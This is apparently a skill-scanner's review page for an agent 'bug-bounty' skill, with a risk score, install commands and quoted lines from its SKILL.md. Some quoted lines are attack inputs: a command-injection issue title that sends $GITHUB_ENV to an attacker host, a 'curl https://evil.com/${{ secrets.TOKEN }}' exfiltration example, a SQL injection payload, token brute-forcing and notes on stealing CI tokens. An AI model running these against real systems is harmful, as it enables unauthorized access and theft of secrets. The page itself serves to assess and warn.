← All skills
bug-bounty
64 / 100 · Review before installing
Check before installing. Some of what it can do is expected: a security skill usually runs scanners and checks websites.
By elementalsouls/Claude-BugHunter (GitHub) · security · 5,515 stars · scanned at commit d5dcc53
Complete bug bounty workflow — recon (subdomain enumeration, asset discovery, fingerprinting, HackerOne scope, source code audit), pre-hunt learning (disclosed reports, tech stack research, mind maps, threat modeling), vulnerability hunting (IDOR, SSRF, XSS, auth bypass, CSRF, race conditions, SQLi, XXE, file upload, business logic, GraphQL, HTTP smuggling, cache poisoning, OAuth, timing side-channels, OIDC, SSTI, subdomain takeover, cloud misconfig, ATO chains, agentic AI), LLM/AI security tes…
Works with any agent that supports SKILL.md skills.
What this skill can do
Downloads and installs other software
The author does not mention this.
Found in 13 places.
Show 10 more
- skills/bug-bounty/SKILL.md, line 196
| cloudenum | Cloud asset enumeration | `pip3 install cloud_enum` | - skills/bug-bounty/SKILL.md, line 197
| trufflehog | Secret scanning | `brew install trufflehog` | - skills/bug-bounty/SKILL.md, line 198
| gitleaks | Secret scanning | `brew install gitleaks` | - skills/bug-bounty/SKILL.md, line 199
| XSStrike | Advanced XSS scanner | `pip3 install xsstrike` | - skills/bug-bounty/SKILL.md, line 200
| SecretFinder | JS secret extraction | `pip3 install secretfinder` | - skills/bug-bounty/SKILL.md, line 201
| sqlmap | SQL injection | `pip3 install sqlmap` | - skills/bug-bounty/SKILL.md, line 202
| subzy | Subdomain takeover | `go install github.com/LukaSikic/subzy@latest` | - skills/bug-bounty/SKILL.md, line 792
> **Tooling**: Use [sisakulint](https://sisaku-security.github.io/lint/) for automated SAST — 52 rules, taint propagation across steps/jobs/reusable workflows, - skills/bug-bounty/SKILL.md, line 1065
4. **Privileged consumption** — The cache is restored in a `push` or `schedule` workflow on the default branch. These workflows have full `secrets` access. The - skills/bug-bounty/SKILL.md, line 1078
4. **Lateral movement** — RoR persistence → wait for privileged `push`/`schedule` workflows → steal tokens from `.git/config`, `$GITHUB_ENV`, `/proc/PID/environ
Runs commands on your computer
This is disclosed by the author in the skill's SKILL.md or README. Expected for a security skill.
Found in 25 places.
Show 17 more
- skills/bug-bounty/SKILL.md, line 296
for suffix in dev staging test backup api data assets static cdn; do - skills/bug-bounty/SKILL.md, line 305
ffuf -u https://TARGET/api/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt -mc 200,201,301,302,403 -ac - skills/bug-bounty/SKILL.md, line 310
curl -s "https://hackerone.com/graphql" \ - skills/bug-bounty/SKILL.md, line 350
cat SECURITY.md 2>/dev/null; cat CHANGELOG.md | head -100 | grep -i "security\|fix\|CVE" - skills/bug-bounty/SKILL.md, line 369
grep -rn "__proto__\|constructor\[" --include="*.js" --include="*.ts" | grep -v node_modules - skills/bug-bounty/SKILL.md, line 371
grep -rn "child_process\|execSync\|spawn(" --include="*.js" | grep -v node_modules - skills/bug-bounty/SKILL.md, line 404
curl -s "https://hackerone.com/graphql" \ - skills/bug-bounty/SKILL.md, line 485
grep -rn "\.unwrap()\|\.expect(" --include="*.rs" | grep -v "test\|encode\|to_bytes\|serialize" - skills/bug-bounty/SKILL.md, line 623
seq 20 | xargs -P 20 -I {} curl -s -X POST https://TARGET/redeem \ - skills/bug-bounty/SKILL.md, line 682
' OR '1'='1 - skills/bug-bounty/SKILL.md, line 801
find . -name "*.yml" -path "*/.github/workflows/*" | head -50 - skills/bug-bounty/SKILL.md, line 980
gh issue create --repo TARGET/REPO --title '"; curl https://ATTACKER.burpcollaborator.net/$(cat $GITHUB_ENV | base64 -w0) #' --body "test" - skills/bug-bounty/SKILL.md, line 1166
cat /tmp/subs.txt | dnsx -silent -cname -resp | grep -i "CNAME" | tee /tmp/cnames.txt - skills/bug-bounty/SKILL.md, line 1194
POST /forgot-password - skills/bug-bounty/SKILL.md, line 1208
ffuf -u "https://target.com/reset?token=FUZZ" -w <(seq -w 000000 999999) -fc 404 -t 50 - skills/bug-bounty/SKILL.md, line 1216
PUT /api/user/email - skills/bug-bounty/SKILL.md, line 1232
aws s3 ls s3://target-bucket-name --no-sign-request
and 5 more places
Sends data to these websites: ${target}-${suffix}.s3.amazonaws.com, hackerone.com, target, evil.com, attacker.burpcollaborator.net, $name.s3.amazonaws.com, target-app.firebaseio.com, raw.githubusercontent.com
This is disclosed by the author in the skill's SKILL.md or README. Expected for a security skill.
Found in 13 places.
Show 10 more
- skills/bug-bounty/SKILL.md, line 404
curl -s "https://hackerone.com/graphql" \ - skills/bug-bounty/SKILL.md, line 623
seq 20 | xargs -P 20 -I {} curl -s -X POST https://TARGET/redeem \ - skills/bug-bounty/SKILL.md, line 928
- [ ] **Secret exfiltration** — `curl https://evil.com/${{ secrets.TOKEN }}` in workflow - skills/bug-bounty/SKILL.md, line 980
gh issue create --repo TARGET/REPO --title '"; curl https://ATTACKER.burpcollaborator.net/$(cat $GITHUB_ENV | base64 -w0) #' --body "test" - skills/bug-bounty/SKILL.md, line 1236
curl -s -o /dev/null -w "$name: %{http_code}\n" "https://$name.s3.amazonaws.com/" - skills/bug-bounty/SKILL.md, line 1256
curl -s "https://TARGET-APP.firebaseio.com/.json" - skills/bug-bounty/SKILL.md, line 1258
curl -s -X PUT "https://TARGET-APP.firebaseio.com/test.json" -d '"pwned"' - skills/bug-bounty/SKILL.md, line 1272
curl -sk https://TARGET:6443/api/v1/namespaces/default/pods - skills/bug-bounty/SKILL.md, line 1274
curl -s http://TARGET:2375/containers/json - skills/bug-bounty/SKILL.md, line 1544
curl -s https://raw.githubusercontent.com/shuvonsec/claude-bug-bounty/main/SKILL.md \
Reads your saved credentials, such as SSH keys or .env files
This is disclosed by the author in the skill's SKILL.md or README.
Found in 1 place.
Changes files outside its own folder
This is disclosed by the author in the skill's SKILL.md or README.
Found in 2 places.
Safer alternatives
Low-risk skills in the same category (security) that look related. Check that one does what you need.
Install
Paste this into your terminal. It downloads exactly the version we scanned, not whatever is newest.
if [ -e ~/.agents/skills/'bug-bounty' ] || [ -L ~/.agents/skills/'bug-bounty' ]; then echo 'A skill folder named bug-bounty already exists — not replacing it' >&2; false; else d=$(mktemp -d) && git clone --quiet --filter=blob:none --no-checkout 'https://github.com/elementalsouls/Claude-BugHunter' "$d" && git -C "$d" checkout --quiet 'd5dcc5347675ed431488e0a0e46749e4918aa194' -- 'skills/bug-bounty' && mkdir -p ~/.agents/skills && cp -R "$d"/'skills/bug-bounty' ~/.agents/skills/'bug-bounty' && rm -rf "$d"; fi
Codex reads ~/.agents/skills directly. For Claude Code, Cursor, Copilot, Gemini CLI, Antigravity or OpenCode, also link it. For Claude Code: ln -s ~/.agents/skills/'bug-bounty' ~/.claude/skills/'bug-bounty' (other agents: ~/.cursor/skills, ~/.copilot/skills, ~/.gemini/skills, ~/.gemini/config/skills, ~/.config/opencode/skills). Or install through the finder skill, which does both.
Badge for your README
The badge for elementalsouls/Claude-BugHunter shows the score of its lowest-scoring skill.
[](https://zalavijaysinh.github.io/skilltrust/repos/elementalsouls/Claude-BugHunter/)
Score history
| Date | Version | Score |
|---|
| 2026-11-10 | d5dcc53 | 64 |
| 2026-11-08 | 42a3ab1 | 64 |
| 2026-11-06 | 3e71af0 | 64 |